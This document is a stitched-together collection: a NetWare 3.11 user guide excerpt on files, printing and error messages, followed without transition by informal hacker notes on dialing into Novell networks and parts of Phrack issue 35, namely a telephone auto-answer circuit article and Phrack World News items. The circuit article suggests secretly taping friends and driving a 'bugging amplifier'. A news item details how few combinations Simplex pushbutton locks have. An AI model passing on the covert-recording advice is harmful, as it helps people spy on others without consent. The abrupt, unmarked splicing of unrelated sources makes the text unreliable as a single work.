MANAGE FILES AND DIRECTORIES

You can manage your files and directories in a variety of ways. You can copy, delete, rename, view, write to, share, and print them. NetWare uses a system of file and directory rights and attributes to make sure that only authorized network users can access and handle network data.

Attributes are assigned to files and directories. They override rights, which are assigned to users. For example, suppose you have the right to rename files (the Modify right). However, the file you want to copy is flagged with the Rename Inhibit attribute. This prevents you from renaming it, even though you have the right to do so.

For more information, see "Attributes" and "Rights" in NetWare v3.11 Concepts.

Know Your Rights

To view your rights in your default directory, type

RIGHTS <Enter>

If your effective rights include all rights, the following information appears:

SERVER1\SYS:PUBLIC\UTIL

Your effective rights for this directory are [SRWCEMFA] You have Supervisor Rights to Directory. (S)

*May Read from File. (R)

*May Write to File. (W)

May Create Subdirectories and Files. (C)

May Erase Directory. (E)

May Modify Directory. (M)

May Scan for Files. (F)

May Change Access Control. (A)

*Has no effect in directory.

Entries in Directory May Inherit [SRWCEMFA] rights. You have ALL RIGHTS to Directory Entry.

Copy a File to Another Network Directory

Suppose you want to copy a file called ACC.DAT from your default directory (for example, F) to the SALEPROG directory in volume SYS on the file server SALES. First, make sure you have a drive (for example, G) mapped to SALEPROG as follows:

G:=SALES/SYS:SALEPROG

To copy ACC.DAT from your default directory to the SALEPROG directory, type

NCOPY F:ACC.DAT TO G: <Enter>

Suppose you want to copy a file called ACC.DAT from the SALEPROG directory in volume SYS on the file server SALES to your default directory. Also suppose drive G is mapped to SALEPROG as G:=SALES/SYS:SALEPROG. Type

NCOPY G:ACC.DAT F: <Enter>

Copy All of a Directory's Files to Another Directory

1. Type

FILER <Enter>

and select "Directory Contents" from the "Available Topics" menu.

2. Select the directory you want to copy from the "Directory Contents" window. The "Subdirectory Options" window appears.

3. Select "Copy Subdirectory's Files." The "Copy Subdirectory To:" window appears.

4. To copy subdirectory files, complete one of the following:

o Copy to a subdirectory in your current directory. Type the name of the directory; then press <Enter>.

You can also use <Insert> to bring up the "File Servers/Local Drives" window, from which you can select your directory path by selecting file server, volume, and directory options.

After you select your directory path, press <Escape> to bring your cursor back to the "Copy subdirectory To:" window. Then press <Enter> to copy your subdirectory's files.

o Copy to a directory on another volume on your file server. Type in the name of the volume and directory; then press <Enter>.

You can also use <Insert> to bring up the "File Servers/Local Drives" window, from which you can select your directory path by selecting file server, volume, and directory options.

o Copy to a directory to another file server. You must be attached to the file server you want to copy files to. Type in the name of the file server, volume, and directory; then press <Enter>.

Delete a File

1. Type

FILER <Enter>

2. Select "Directory Contents" from the "Available Topics" menu.

3. Highlight the file you want to delete from the "Directory Contents" window and^S press <Delete>. Answer "Yes" in the confirmation box.

To delete more than one file, use the Mark key (<F5>) to highlight multiple files; then press <Delete>. Answer "Yes" in the confirmation box.

Salvage a File You Just Deleted

1. Type

SALVAGE <Enter>

2. Select "View/Recover Deleted Files" from the "Main Menu Options"window. To change to another volume, you must select the directory path from the "Select Current Directory" option in the main menu.

Note: If you have too many salvageable files to fit on the screen, you will see the heading "Inc^Qomplete." Scroll through the list to see the entire list, or use the Mark Pattern key <F6> to mark the file pattern. Then exit the list and reenter it.

3. To salvage files using wildcards or to salvage a specific file, type the information in the "Erased File Name Pattern To Match" window.

To view all salvageable files, press <Enter>.

4. To salvage a file, complete one of the following:

o Salvage a single file. Select the file you want to salvage. Select "Yes" from the "Recover This File" box.

o Salvage multiple files. Use the Mark key (<F5>) to select multiple files. Select "Yes" from the confirmation box.

o Salvage multiple files using wildcards. To match a filename pattern or extension, press the Mark Pattern key (<F6>) and type the pattern you want to match.

Once you match the pattern of the files you want to salvage, press <Enter> and select "Yes" from the "Recover ALL marked files?" confirmation box.

5. Press <Escape> to exit SALVAGE.

Find a Lost File

Suppose you don't remember the location of a file. The file is called FUTURE.DAT. You think it may be in the PROGRAMS directory, and drive G is mapped to that directory.

To find the location of the lost file, type

NDIR G: FUTURE.DAT <Enter>

If you don't know which directory the file is in, change directories back to the volume level. Then type

NDIR filename sub <Enter>

The NDIR utility searches all those directories you have rights to on the volume for the file.

Rename a Directory

Suppose you want to change the name of the ACCT directory to PROGRAMS. Also suppose drive G is mapped to ACCT in volume SYS on file server RECORDS as follows:

Drive G: = RECORDS/SYS:ACCT

To rename the directory, type

RENDIR G: PROGRAMS <Enter>

Note: You must be attached to a file server before you can change the name of a directory on that file server.

You must also have the Modify right in the directory to rename subdirectories in that directory.

Drive mappings in login scripts (if they exist) must be changed to reflect the new name of the directory.

What If ...

.... I can't copy?

o You may not have sufficient rights. Type

RIGHTS <Enter>

You must have the Create right to copy files into a directory.

o The file may be flagged "non‑shareable" and may be in use. Type

FLAG filename <Enter>

If it is flagged "non‑shareable," try again at a later time, when the file is not in use.

.... I can't see a directory?

o You may not have enough rights to that directory. Type

RIGHTS <Enter>

o The directory attribute may be set to "Hidden" or "System." Type

FLAG filename <Enter>

o The directory may have set disk space limitations. To view the directory restrictions, type

DSPACE <Enter>

o The directory may have been deleted. Ask your supervisor.

PRINTING

Printing from a network workstation is similar to printing from a stand alone workstation. When you send a print job to a network printer, however, the job is routed first through the file server and then delivered to the printer by the print server.

When a print job leaves the workstation, it is stored temporarily in a print queue on the file server. This queue, which is a subdirectory on the file server, stores the print job until the print server can deliver it to the printer. When the printer is ready to service the job, the print server moves it from the queue to the printer.

Permanently Set Up Workstation Printing

If you want to print from a non‑NetWare‑compatible application or from the screen, you need to route print files from your local printer port (LPT1) to a file server queue.

1. Enter the SYSCON utility.

2. Select "User Information" from SYSCON's main menu.

3. Select your username.

4. Select "Login Script."

5. Insert the following command into the login script:

#CAPTURE Q=queuename TI=5

6. Exit SYSCON, saving changes when prompted.

7. Log back in to or reboot your workstation to allow the CAPTURE command to take effect.

Print Screens Using CAPTURE

Before you start printing screens using CAPTURE, you need to set the CAPTURE parameters in your login script. See "Permanently Set Up Workstation Printing" on the previous page. Also, your supervisor needs to set up a default queue.

1. At the command line, type

CAPTURE <Enter>

You can include any of the CAPTURE options except Show. Some of the most common CAPTURE options are the following:

L=n

Indicates which of your workstation's LPT ports (local parallel printing ports) to capture. Replace "n" with 1, 2, or 3. Default:

^S^Q L=LPT1

Q=queuename

Indicates the queue the print job should be sent to. If multiple queues are mapped to a printer, you must include this option. Replace "queuename" with the name of the queue.

TI=n

Indicates the number of seconds between the last time the application writes to the file and the time it releases the file to the queue. Include this option if you want to print from an application without exiting the application. Replace "n" with a number of seconds (1‑1000). Default: TI=O (Timeout disabled)

2. Access the application containing the screen you want to print.

3. Press <Shift><Print Screen>.

4. If you want to print more screens, repeat steps 2 and 3.

5. When you have selected the screens you want printed, return to the DOS prompt and type

ENDCAP <Enter>

ENDCAP sends your print job to the default print queue of your default file server, and then the job is printed. ENDCAP also ends the capture of your LPT port.

Note: Your workstation might hang if you press the <Shift><Print Screen> keys when none of your LPT ports are captured and no local printers are attached to your workstation. To prevent this, ask your supervisor to include the following line in the SHELL.DFG file on your workstation boot disk.

LOCAL PRINTERS = 0

List the Jobs in a Queue

A queue is a special directory where print files are stored while waiting for printer services. To see which jobs are waiting in a queue to be printed, complete the following steps:

1. Type

PCONSOLE <Enter>

2. Select your file server (if other than your current file server).

3. Select "Print Queue Information" from the "Available Options" menu.

4. Select the print queue whose print job you want to view. If you don't know the name of the print queue, ask your supervisor.

5. Select "Current Print Job Entries" from the "Print Queue Information" list. The print job entries are displayed.

Delete Your Print Job from a Queue

You can cancel your print job by deleting it from the print queue (even after the job has started printing). You can delete a print job only if you are the owner of the job or if you are the print queue operator.

To delete your print job, complete the following steps:

1. Type

PCONSOLE <Enter>

2. Select "Print Queue Information" from the "Available Options" menu.

3. Select the print queue whose entries you want to view. The "Print Queue Information" list is displayed.

4. Select "Current Print Job Entries."

5. Highlight the print job entry and press <Delete>.

6. Select "Yes" at the confirmation box.

What If...

.... I send commands to print a screen, but it doesn't print?

Did you include the CAPTURE command in your login script? See a previous section called "Permanently Set Up Workstation Printing."

.... The application I'm using says that the print job was sent, but it doesn't print out?

o Did you use CAPTURE to redirect output to a print queue first?

o Are the LPT ports captured? Type

CAPTURE SH <Enter>

o Check PCONSOLE and find the appropriate queue. If the queue has a long list of jobs and none are marked "active," see your print server operator. If your job isn't in the queue, the application is not set up properly; check with the applications expert.

COMMON ERROR MESSAGES

Error messages point to a software or hardware error that doesn't allow further processing. An explanation of the nature of the message and a recommended course of action follow each message listed below.

"Access denied"

Explanation 1

This message indicates one of the following:

o You entered your username, your password, or both incorrectly. o You tried to log in to a file server on which you are not defined as a user.

Action 1

Try to log in again and make sure you type the username and password correctly. Make sure you are logging in to a file server on which you are defined as a user or as a member of a group. You can log in to most file servers as GUEST because user GUEST seldom requires a password.

Explanation 2

You tried to copy, delete, rename, or modify the file attributes of a file for which you lack rights.

Action 2

Find out about your rights to this file by typing

RIGHTS filename <Enter>

or by asking your supervisor.

"A File Server could not be found"

Explanation

The shell tried to build a connection with the network, but no file server responded to the request in the given time limit.

Action

Check the cable connection and make sure at least one active file server exists on the network. Also ask your supervisor to make sure the IPX file and the network board have the same configuration.

"Message NOT sent to <servername>/<username> (station number)"

Explanation

If a number of messages have been sent to the user or group and have not been cleared, either of the following may be true:

o The workstation's buffer for incoming messages may be full.

o The message was not sent to the user or group because the user or group used the CASTOFF utility.

Action

Send the message later, or try another method of communication.

"Network Error <cause> during <operation>. File = <drive>:<filename> Abort, Retry or Fail?" (or "Abort, Retry?")

Explanation 1

The shell called a function call or a DOS interrupt, but the specified operation could not be performed. The <drive>:<filename> specify the drive and filename on which the error condition occurred.

Action 1

Press the R key to retry the operation and, if necessary, repeat this several times. If the problem persists, ask your supervisor or look up the specific message in NetWare v3.11 System Messages.

Explanation 2

Your file server may be down.

Action 2

Press the A key to abort the operation, and then try to connect to the file server again. If this attempt fails, contact your supervisor.

"Password has expired"

Explanation

This message indicates your password has expired.

The network supervisor can require users to periodically change their passwords on the file server to protect the file server from access by unauthorized persons. The network supervisor can also assign a number of grace logins during which users can still use their old passwords (after they have expired) before having to create new passwords.

Action

Use the SETPASS command to change your password. If you use the old password during your remaining grace logins, be sure to change it before you run out of grace logins, or else your network supervisor has to change it for you.

"Password has expired and grace period has also expired."

Explanation

This message indicates that your user account is locked because your password has expired and you have used all your grace logins.

After your password expires, you may have a number of grace logins during which you can still use your old password. If you do not change your password before your grace logins are used, you are denied access.

Action

Since you have run out of grace logins, you cannot access your account until your network supervisor or manager assigns you a new password.

"Server <servername> not found"

Explanation

This message indicates that you tried to attach to the file server <servername>, but the file server did not respond for one of the following reasons:

o You mistyped the name of the file server.

o You specified a file server not cabled to your network.

o You specified a file server that is down for system maintenance.

Action

o Type the file server name correctly.

o Use the SLIST command to list all the available file servers.

o If the file server is down for maintenance, try the command later when the file server has been brought back up.

If you still have problems, ask your network supervisor for help.

"Unable to attach to server <servername>"

Explanation

This message indicates one of the following:

o You mistyped the name of the file server.

o You specified a file server not cabled to your network.

o You specified a file server that is down for system maintenance.

Action

o Type the file server name correctly.

o Use the SLIST command to list all available file servers.

o If the file server is down for maintenance, try the command later when the file server has been brought back up.

If you still have problems, ask your network supervisor for help.

"User <fileserver>/<username> not found"

Explanation

This message indicates that you either specified a user who does not exist on <fileserver> or mistyped the user's name.

Action

o Make sure you have typed the user's name correctly.

o If you are not certain which users are established on the file server, use the SYSCON utility to view the list of network users.

o You can also use the USERLIST command to view a list of currently attached users.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

One of the most useful tools that any Novell Network user can have is access to Netwire on Compuserve. Netwire is a forum that contains messages, files, and access to Novell product information firsthand. You can submit questions to Novell technicians and hundreds of other Novell users. A must for any Netware user.

Another handy tool for those that do have access is the SALVAGE program. SALVAGE will let you undelete files throughout the system unless the directory is marked to be purged. PURGE is nice too because it will allow you to completely erase any files you created or copied. To use purge and or salvage make sure you are mapped to the public directory and execute them from any DOS prompt.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As far as dialing up a Novell Network the means are unlimited. Some have very tight security systems that only let users with certain hardware dial‑in and others limit the usernames that are allowed dial‑in access.

Auto-Answer It

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 9 of 13

////////// //////////

// C // //

// r // // A U T O ‑ A N S W E R I T ! //

// e // //

// a // ///////////////////////////////

// t //

// e /////////////////////////////////////

// d B y : T w i s t e d P a i r //

////////////////////////////////

Many times I've wanted to be able to start and/or listen to devices at my home when I'm somewhere else. I've developed the following circuits to do this for me. The circuits have all kinds of uses. I'll let your mind ponder the endless fun activities you can have. Some of the things I have used them for are monitoring my own house, tape record my friends for fun without their knowledge, or listen to a radio station when you're out of town, etc.

///// Automatically Answer a Phone /////

This has got to be the best way to automatically answer the phone. With just 2 parts, we can couple an audio source into a phone line. The cost will be less than $5 no matter where you get the parts!

. . Radio Shack

. . / ECG 6412 273‑1374 Transformer

Red __ __ Diac /

(+) O‑‑‑‑‑‑‑‑‑‑‑‑‑I\ /I‑‑‑‑‑‑‑‑‑‑‑‑) || (‑‑‑‑‑‑‑‑‑O <‑

Tip . \ / .

._\____/_. Audio Source

. . feeding IN

Green ) to transformer

(‑) O‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑) |O <‑

Ring

The "Diac" or "Bilateral Trigger Diode" looks like an open circuit until a voltage of either polarity is applied that is above its threshold of 63 Volts. (plus or minus 7 Volts) When this voltage is exceeded, like when the line rings, the device acts as a switch and goes into conduction. This "answers" the phone and holds the line through the transformer, which couples the audio to the line.

When the caller hangs up, most telephone companies provide a momentary reversal of Tip and Ring which causes the Diac to stop conducting and release the line.

///// Another Way to Automatically Answer /////

For those who want to really play with this circuit, I suggest the following additions. I have added a bridge rectifier and an optical coupler to the circuit. The bridge just makes sure that the LED inside the optical coupler gets the proper polarity. If you are careful to observe polarity when connecting to Ma Bell, you can leave out the diodes and save a little money.

.

. Radio Shack

|‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑__ 273‑1374

| | .I\ /I. | Transformer

‑‑‑ ‑‑‑ ._\____O

\ / \ / . .

‑‑‑ ‑‑‑ ECG 6412 ) || ( Audio

O‑‑‑| | Diac ) || ( Source

Tip | O‑‑‑‑| 1N4003 Diodes ) || (

(+) | Ring | ( 4 ) |‑‑) |O

‑‑‑ (‑) ‑‑‑ ECG 3045 Optical Coupler |

\ / \ / _________

‑‑‑ ‑‑‑ |

| | 2 | |\ | | 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| \|

| |/ |

|

| \ \

| v v |

| ______

| /

| V \ |

|___|_____

|

4 5

Pins 4 and 5 on the optical coupler can be wired to remotely start a device upon answering the line. An example would be a tape machine or batterypowered bugging amplifier. Be careful not to connect anything over 25 volts to pins 4 and 5 to avoid frying the opto‑coupler. Either circuit will accommodate an extra LED that could be used as a status indicator. Just be sure to keep the polarity proper and put it in series with the other components.

The Audio Source can be almost ANYTHING. If you want to hook up a microphone as the Audio Source, connect the microphone to some kind of amplifier first, then to the transformer.

///// An Interesting Catalog to Read Through /////

If you really want to get fancy, you could consider ordering a free catalog from Monroe Electronics. They sell the following products you might wish to play with. Use these as building blocks to make whatever you need...

DTMF Decoders (a) Which provide a momentary or latching relay ‑‑‑‑‑‑‑‑‑‑‑‑‑ output for the duration of time the DTMF digit is being pressed. (If you're really obnoxious, you'd use one of these with one of the above circuits. Then you could call and randomly turn things on and off like maybe a TV scrambler/ jammer.)

(b) Which can accept multiple digits and be programmed for a momentary or latching relay output. (Use one of these to make a DTMF combination lock for your BBS. Or use as a call screener, i.e. only the correct DTMF sequence could make your phone actually ring)

(c) Which can control access by a 4 digit code to latch a relay, then a single digit to unlatch it. (A little bit more sophisticated than (b) above.

DTMF Encoders Which can convert BCD to DTMF tones. Crystal‑‑‑‑‑‑‑‑‑‑‑‑‑ controlled, of course. 600‑ohm audio output. (Use one of these to convert your computer's output into ANY DTMF tones of your choosing. You'd be able to choose the duration as well! Then this circuit would couple your evil DTMF into the phone line)

Audio Detectors Detect BUSY and DIAL TONE and operate a relay. ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ (Useful when making scanning hardware/software applications)

Audio Generators Generate Ring Tone, Dial Tone, Busy Tone, Tone ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Burst, etc. (Start your own phone company. Fool your friends, trip out the operator)

Dial‑up DTMF remote control systems which can be used to control and monitor remote relays and status inputs at unattended sites. They can also provide automatic dialing of stored phone numbers to report status of inputs, and can make use of an internal timer to execute control commands. (Water strange plants by call‑in remote control, check moisture levels, see if a certain mailbox is empty or full, have the mailbox CALL you when something is delivered, etc. Do I have to tell you everything? Just get the catalog!)

Their address is:

MONROE ELECTRONICS, INC. 100 HOUSEL AVENUE LYNDONVILLE NY 14098 (716) 765‑2254

//////////////////////\/\/‑ T W I S T E D P A I R‑/\/\////////////////////////

PWN/Part 1

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 10 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXV / Part One PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Welcome to another edition of Phrack World News. Read this issue very carefully because it is full of very important stories about a multitude of different issues. Special thanks goes to Dark OverLord, Stainless Steel Provider, and Private Citizen for their help in preparing this issue.

________________________________________

XMASCON 1991

~~~~~~~~~~~

NIA Magazine & Phrack Inc. present:

The Second Annual

X M A S C O N

Who: All Hackers, Journalists, Security Personnel, Federal Agents, Lawyers, Authors and Other Interested Parties.

Where: Houston Airport Hilton Inn 500 North Belt East Houston, Texas 77060

U.S.A.

Tel: (713) 931‑0101 Fax: (713) 931‑3523

When: Friday December 27 through Sunday December 29, 1991

Yes, ladies and gentlemen, you read it right... Xmascon has returned! This will undoubtedly be the telecom event of the year. Unlike certain conferences in the past, Xmascon 91 has a devoted and dedicated staff who are putting in an unmentionable amount of time to ensure a large, vast and organized collection of some of the most diversified people in the telecommunications world. The event will be open to the public so that anyone may attend and learn more about the different aspects of computer security.

Hotel Information

‑‑‑‑‑‑‑‑‑‑‑‑‑

The Houston Airport Hilton Inn is located about 6 miles from Intercontinental Airport. The Xmascon group room rates are $49.00 plus tax (15%) per night, your choice of either single or double. There are also 7 suites available, the prices of which vary from $140 to $250. You can call the hotel to find out the differences and availability of the suites, and you will also NEED to tell them you are with the Xmascon Conference to receive the reduced room rate, otherwise, you will be paying $69.00. There is no charge for children, regardless of age, when they occupy the same room as their parents. Specially designed rooms for the handicapped are available. The hotel provides free transportation to and from the airport, as well as neighboring Greenspoint Mall, every 30 minutes on the hour, and on call, if needed. There are 2 restaurants in the hotel. The Wicker Works is open until 11:00 pm, and The Forty Love is open 24 Hours. There will also be breakfast, lunch and dinner buffets each day. There is a piano bar, The Cycle Club, as well as a sports bar, Chaps, which features numerous table games, large screen TV, and a disco with a DJ. Within the hotel compound, there are 3 pools, 2 of which are indoors, a jacuzzi, a miniature golf course, and a fully equipped health club which features universal weights, a whirlpool and sauna. A car rental agency is located in the hotel lobby, and you can arrange to pick your car up at either the airport or the hotel. Xmascon attendees are entitled to a discounted rate. Contact the hotel for more information.

Xmascon will last 3 days, with the main conference being held on Saturday, December 28, in the Osage meeting room, starting at 12:00 p.m. and continuing on throughout the evening. This year, we have our own complete wing of the hotel, which is housed around a 3,000 square foot atrium ballroom. The wing is completely separated from the rest of the hotel, so we are strongly encouraging people to make their reservations as far in advance as possible to ensure themselves a room within our area.

We are hoping to have a number of people speak on a varied assortment of topics. If you would like to speak, please contact us as soon as possible and let us know who you are, who you represent (if anyone), the topic you wish to speak on, a rough estimate of how long you will need, and whether or not you will be needing any audio‑visual aids.

There will be a display case inside the meeting room which will hold items of telecom interest. Specific items that will be available, or that we hope to have, include the first issues of 2600, Tap, Mondo 2000, and other magazines, non‑computer related magazines that feature articles of interest, a wide array of boxes, the Quaker Oats 2600 mhz whistle, The Metal AE, etc. We will also have a VCR and monitor set up, so if you have any interesting videos (such as the Unsolved Mysteries show featuring Kevin Poulsen), or if you have anything you think people would enjoy having the chance to see, please let us know ahead of time, and tell us if you will need any help getting it to the conference. If all else fails, just bring it to the con and give it to us when you arrive.

If anyone requires any additional information, needs to ask any questions, wants to RSVP, or would like to be added to the mailing list to receive the Xmascon updates, you may write to either myself (Drunkfux), Judge Dredd, or Lord Macduff via Internet at:

nia@nuchat.sccsi.com

Or via US Mail at:

Hard Data Corporation

ATTN: HoHo

P.O. Box 60695 Airport Mail Facility Houston, Texas 77205‑9998

U.S.A.

We will hopefully have an 800 mailbox before the next update is sent out. If someone cares to donate a decent one, that will stay up throughout the end of the year, please let us know. We should also be listing a few systems as an alternative form of reaching us.

Xmascon 91 will be a priceless learning experience for professionals, and gives journalists a chance to gather information and ideas direct from the source. It is also one of the very few times when all the members of the computer underground can come together for a realistic purpose. We urge people not to miss out on an event of this caliber, which doesn't happen very often. If you've ever wanted to meet some of the most famous people from the hacking community, this may be your one and only chance. Don't wait to read about it in all the magazines, and then wish you had attended, make your plans to be there now! Be a part of our largest and greatest conference ever.

Remember, to make your reservations, call (713) 931‑0101 and tell them you're with Xmascon.

In closing... if you miss this one, you're only cheating yourself.

________________________________________

MindRape Revisited September 27,1991

~~~~~~~~~~~~~~~~~

>From Arizona State University State Press

Further Reading: Phrack Issue 34, File 11, "MindRape or MediaRape?"

An Arizona State University (ASU) student is one of seven suspects in a computer fraud scheme that one US West Communications official said could cost the carrier and the phone company as much as $5 billion in one year.

Police in Phoenix, Arizona have seized computer equipment, software, and a list of long distance calling card codes from the home of the unidentified 19‑year‑old student.

The student is one of seven people ‑‑ three in Oregon and one each in Washington, Utah, and Iowa ‑‑ singled out as suspects in a month‑long investigation of electronic phone fraud conducted by Phoenix police, said Jim Waltman, a fraud manager for US West Communications. The Phoenix man has not been arrested.

The computer "hackers" allegedly used their computers to gain access to secret long distance phone access codes such as the ones found on calling cards, and sold codes to other students for profit.

US West officials told the Associated Press that it is unknown how many local customers have been wrongfully billed for long distance calls on their accounts.

Kevin Robinson, public information sergeant for the Phoenix Police Department, would not comment on the investigation.

Art Carter, dean of Student Life at Arizona State University (ASU), said that if the student is charged, the case will be reviewed under the ASU Code of Conduct and the action taken by the University will be determined at that time.

Mark Knighton, security director for LDL Long Distance, said his company and US West were able to trace calls to several location, including the home of the Phoenix man.

The Phoenix man has not been arrested, authorities said.

Waltman said he was with Phoenix police a week ago when they searched the north Phoenix home and uncovered what turned out to be an inexpensive and relatively simple system for getting free codes.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Editor's Comment by: Dispater

What MindRape has been charged with cannot be determined now. A request must be submitted to Arizona Public Records and be considered for release to the requestor.

Here are some possibly useful numbers:

Arizona Special Investigations Division (602)542‑4853

County Attorney's Office (602)262‑3411 (Gail Thackeray) Arizona Republic Newspaper (602)271‑8000

Phoenix Police Department

‑ General Investigations (602)262‑6141

‑ Police Information (602)262‑7626

‑ Police Records (602)262‑6134

________________________________________

East Coast LOD Hackers Create Virtual Reality MAELSTROM

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"It's reached the point where hacking is counter‑productive."

If the 1980's were the decade that hackers emerged from their relative obscurity as computer oddities, to be transformed in the public's perception as front‑page news ‑‑ then the 90's are shaping up to be the decade of hacker turned entrepreneur. Lately the notorious hacker group Legion of Doom seems to be a particularly fertile spawning ground for ex‑hackers turned young‑businessman.

Two former East‑Coast Legion of Doom members, Bruce Fanscher <Dead Lord> and Patrick Krupa <Lord Digital>, have pooled their talents to form a new company in the burgeoning field of Virtual Reality.

The arena of Virtual Reality has often been called technology in search of a purpose and at times resembles nothing more than an interactive movie meets videogame. This chaotic state of affairs has led to a never‑never land of incompatible technologies and far‑out ideas, that have tremendous potential, but little commercial application at present. Fanscher and Krupa plan to change all that. "VR isn't anything new, it's something we've been living for over half our lives. The only difference is the state of current technology, makes possible an incredible variety of application." said Krupa in an interview. "Right now we're in the ideal position to move forward on ideas we've been working on for years," added Fanscher.

Krupa, who had attained the status of cult figure in the hacker underground prior to his arrest, as chronicled by John Markoff (New York Times) technology columnist, has spent the last several years working in the very lo‑tech world of theater, "Basically I was totally burnt out on computers. I mean I don't give a damn if my word processor boots in one second instead of eight, and that's the only place anything was heading for a long time. The NeXT has changed all that and brought to market something truly innovative, although I still don't care too much about technology as anything but a medium through which you can reach people and affect their experiences and perceptions."

No stranger to creative innovation himself, Fanscher, Krupa's longtime compatriot, has spent his share of time in the somewhat murky spotlight of the hacker underground. Musing about his days as a hacker delving into computer systems to see how they worked, Fanscher remarked that:

"It's reached the point where hacking is counter‑productive. You can only take apart things other people have designed and see what makes them work, for so long, before it becomes an exercise in boredom and the time comes to use what you've learned to create something new that nobody has ever seen before. My current interest in other people's systems is zero. It was a useful learning experience for me, but there's no future in it."

This oddly charismatic, dynamic duo is rounded out by Delia Kopold a former actress and theater major who is the architect of the worlds that make MAELSTROM come alive. This initial offering by the collection of talents will be an online system run on the NeXTcube supermicro ‑‑ a machine that looks more like a piece of modern art than a computer ‑‑ that offers enhanced versions of all the usual amenities like electronic messaging, file transfers, and networking, all revolving around MAELSTROM, a program Fanscher calls, "a real‑time virtual interaction simulation engine." MAELSTROM will initially take the form of an extremely detailed fantasy world complete with custom graphic programs that run on MS‑DOS, Macintosh and Amiga computers, allowing users to tap into the NeXTcube's system architecture through their home computers connected to telephone lines. "Maelstrom isn't really a fantasy game, it's actually a universal engine comprised of objects that can be accessed by a variety of graphic, sound and data files to create just about any multi‑user reality you can dream up," explains Krupa.

The MAELSTROM system is about to go through a short beta‑test run in New York City prior to a national ad campaign that will herald its universal accessibility on packet switch. "Our beta system already offers everything that competing services offer, but at a much lower cost ‑‑ and we're still adding features. And nothing like Maelstrom has ever existed before, the technology just wasn't there," concludes Fanscher.

________________________________________

2600 Magazine Exposes Security Holes October 18,1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John F. McMullen & Barbara E. McMullen (Newbytes)

Armonk, New York ‑‑ Supported by videotape examples, Emmanuel Goldstein, editor and publisher of 2600 Magazine: The Hacker Quarterly, told those in attendance at an October 17th New York City press conference that "the American public is often lulled into a false sense of security; a security that is often not supported by the facts of specific cases."

The videotapes, produced by 2600 and provided to the press show both the intrusion of a Dutch "hacker" in to United States Military computers and what Goldstein alleges is the fallibility of a brand of mechanical, pushbutton locks used by, among others, New York State University sites, Federal Express, United Parcel Service, JFK International Airport, IBM and NASA.

Goldstein told Newsbytes "We invested considerable time and money to wake people up to the fact that we have a false sense of security when it comes not only to computer networks but to physical safety as well."

The tape of the Dutch "hacker" was made by Goldstein while in Europe. and shows the intrusion into a Unites States Army computer system. The intruder was able to set up a fictitious account called "danquayle" and, once into the system, was able to obtain "root" privileges thus giving him total control of the workings of the system.

A portion of this tape had previously been shown with Goldstein's approval on an episode of the Geraldo Rivera television show "Now It Can Be Told". Goldstein told Newsbytes that one^S^Q reason for his release of the entire tape to the press was his feeling that the Rivera episode entitled "The Mad Hacker's Key Party" had distorted the message of the tape ‑‑ "This was not a case of a terrorist break‑in but was rather simply a demonstration of the lack of security of our systems. To find root accounts with password like "Kuwait" and lack of sophisticated security in our military computers should be of real concern and should not be lost in an exploitation of the 'hacker' issue."

A background paper provided at the conference by 2600 explains the entire intrusion effort in detail and states "The purpose of this demonstration is to show just how easy it really was. Great care was taken to ensure that no damage or alteration of data occurred on this particular system. No military secrets were taken and no files were saved to a disk by the hackers. What is frightening is that nobody knows who else has access to this information or what their motivations might be. This is a warning that cannot be taken lightly."

The second videotape show Goldstein and other 2600 staff opening seemingly at will locks manufactured by Simplex Security Systems. The locks of the mechanical pushbutton combination variety were shown to be installed at the State of New York University at Stony Brook, JFK International Airport and on Federal Express and United Parcel pick‑up boxes throughout the New York Metropolitan area.

In the film, Goldstein is shown filling out a Federal Express envelope for delivery to 2600 Magazine and inserting in the Fedex dropbox. He then lifts the weather protection cover on the box's lock and keys a combination that allows him to open the lock and remove his envelope. Scott Skinner, a SUNY student and 2600 staff member told Newsbytes that it had actually taken the staff 10 minutes to determine the proper code combinations to open the lock.

Skinner explained, "While Simplex prefers people to think that there is an endless number of permutations to the lock, there are actually only 1,085. In most cases, even this number is greatly reduced ‑‑ if one knows that only three buttons are being used, it reduces the possibilities to 135. Additionally, we found that, once we had the combination to one Federal Express dropbox, it worked in every other one that we tried in the New York area."

Goldstein told Newsbytes "When we contacted Simplex, they first denied that the locks were unsafe and then said that the permutations were much greater. After some discussion, they admitted that the 1,085 figure was correct but said that it would take a person with a complete listing of the combinations over four hours to try them all. Our experience obviously shows that they may be opened in a much shorter time than that."

Goldstein also pointed out that, "although a $5 Master combination lock may be broken by a crowbar, it is a much more secure combination device. It has 64,000 combinations compared to the 1,085 with the Simplex."

Goldstein continued, "One of the real problems is that, should a person have the misfortune to be robbed, entry due to a failure of the Simplex lock gives no evidence of a forcible break‑in and police and insurance companies often put the blame on the homeowner or office manager for 'giving away the combination.' It really can create a problem."

